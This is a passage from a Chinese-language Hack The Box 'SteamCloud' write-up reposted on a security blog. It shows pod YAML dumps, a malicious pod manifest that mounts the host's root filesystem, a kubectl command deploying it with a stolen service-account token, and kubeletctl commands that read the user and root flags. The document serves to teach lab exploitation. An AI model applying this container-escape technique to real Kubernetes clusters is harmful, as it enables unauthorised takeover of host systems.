{}            f:hostPath:              .: {}              f:path: {}              f:type: {}            f:name: {}    manager: kubectl-client-side-apply    operation: Update    time: "2023-07-28T04:19:01Z"  - apiVersion: v1    fieldsType: FieldsV1    fieldsV1:      f:status:        f:conditions:          k:{"type":"ContainersReady"}:            .: {}            f:lastProbeTime: {}            f:lastTransitionTime: {}            f:status: {}            f:type: {}          k:{"type":"Initialized"}:            .: {}            f:lastProbeTime: {}            f:lastTransitionTime: {}            f:status: {}            f:type: {}          k:{"type":"Ready"}:            .: {}            f:lastProbeTime: {}            f:lastTransitionTime: {}            f:status: {}            f:type: {}        f:containerStatuses: {}        f:hostIP: {}        f:phase: {}        f:podIP: {}        f:podIPs:          .: {}          k:{"ip":"172.17.0.3"}:            .: {}            f:ip: {}        f:startTime: {}    manager: kubelet    operation: Update    subresource: status    time: "2023-07-28T04:19:03Z"  name: nginx  namespace: default  resourceVersion: "487"  uid: d616260f-80db-46bd-bbec-2c657c06a3ddspec:  containers:  - image: nginx:1.14.2    imagePullPolicy: Never    name: nginx    resources: {}    terminationMessagePath: /dev/termination-log    terminationMessagePolicy: File    volumeMounts:    - mountPath: /root      name: flag    - mountPath: /var/run/secrets/kubernetes.io/serviceaccount      name: kube-api-access-kw5l4      readOnly: true  dnsPolicy: ClusterFirst  enableServiceLinks: true  nodeName: steamcloud  preemptionPolicy: PreemptLowerPriority  priority: 0  restartPolicy: Always  schedulerName: default-scheduler  securityContext: {}  serviceAccount: default  serviceAccountName: default  terminationGracePeriodSeconds: 30  tolerations:  - effect: NoExecute    key: node.kubernetes.io/not-ready    operator: Exists    tolerationSeconds: 300  - effect: NoExecute    key: node.kubernetes.io/unreachable    operator: Exists    tolerationSeconds: 300  volumes:  - hostPath:      path: /opt/flag      type: ""    name: flag  - name: kube-api-access-kw5l4    projected:      defaultMode: 420      sources:      - serviceAccountToken:          expirationSeconds: 3607          path: token      - configMap:          items:          - key: ca.crt            path: ca.crt          name: kube-root-ca.crt      - downwardAPI:          items:          - fieldRef:              apiVersion: v1              fieldPath: metadata.namespace            path: namespacestatus:  conditions:  - lastProbeTime: null    lastTransitionTime: "2023-07-28T04:19:02Z"    status: "True"    type: Initialized  - lastProbeTime: null    lastTransitionTime: "2023-07-28T04:19:03Z"    status: "True"    type: Ready  - lastProbeTime: null    lastTransitionTime: "2023-07-28T04:19:03Z"    status: "True"    type: ContainersReady  - lastProbeTime: null    lastTransitionTime: "2023-07-28T04:19:02Z"    status: "True"    type: PodScheduled  containerStatuses:  - containerID: docker://90d4442cc1c1e23fe14f01918c019181157d619c96d4966a212ef20c3b6caf1b    image: nginx:1.14.2    imageID: docker-pullable://nginx@sha256:f7988fb6c02e0ce69257d9bd9cf37ae20a60f1df7563c3a2a6abe24160306b8d    lastState: {}    name: nginx    ready: true    restartCount: 0    started: true    state:      running:        startedAt: "2023-07-28T04:19:02Z"  hostIP: 10.10.11.133  phase: Running  podIP: 172.17.0.3  podIPs:  - ip: 172.17.0.3  qosClass: BestEffort  startTime: "2023-07-28T04:19:02Z"

apiVersion: v1 kind: Podmetadata: name: uujt-pod namespace: defaultspec: containers: - name: uujt-pod image: nginx:1.14.2 volumeMounts: - mountPath: /mnt name: hostfs volumes: - name: hostfs hostPath: path: / automountServiceAccountToken: true hostNetwork: true
# kubectl --token=$token --certificate-authority=ca.crt --server=https://10.10.11.133:8443 apply -f evil.yamlpod/zorejt-pod created

HTB-SteamCloud笔记

# kubectl --token=$token --certificate-authority=ca.crt --server=https://10.10.11.133:8443 get pods          NAME         READY   STATUS             RESTARTS      AGE0xdf-pod     1/1     Running            0             70snginx        1/1     Running            0             28hzorejt-pod   0/1     CrashLoopBackOff   2 (25s ago)   45s

HTB-SteamCloud笔记

我们的pod状态良好,正在运行。我们现在可以获取user和root flag

# kubeletctl exec "cat /mnt/home/user/user.txt" -s 10.10.11.133 -p 0xdf-pod -c 0xdf-pod1fe7ca62d9939808e85b20c202a5ca6f                                                                                                                                                                                                              ┌──(root㉿uu)-[/home/uu/SteamCloud]└─# kubeletctl exec "cat /mnt/root/root.txt" -s 10.10.11.133 -p 0xdf-pod -c 0xdf-podbf1673673e1256f8c9e0e2a6d6bae81f

HTB-SteamCloud笔记


原文始发于微信公众号(Jiyou too beautiful):HTB-SteamCloud笔记

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年11月23日22:44:02
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   HTB-SteamCloud笔记http://cn-sec.com/archives/2232863.html

发表评论

匿名网友 填写信息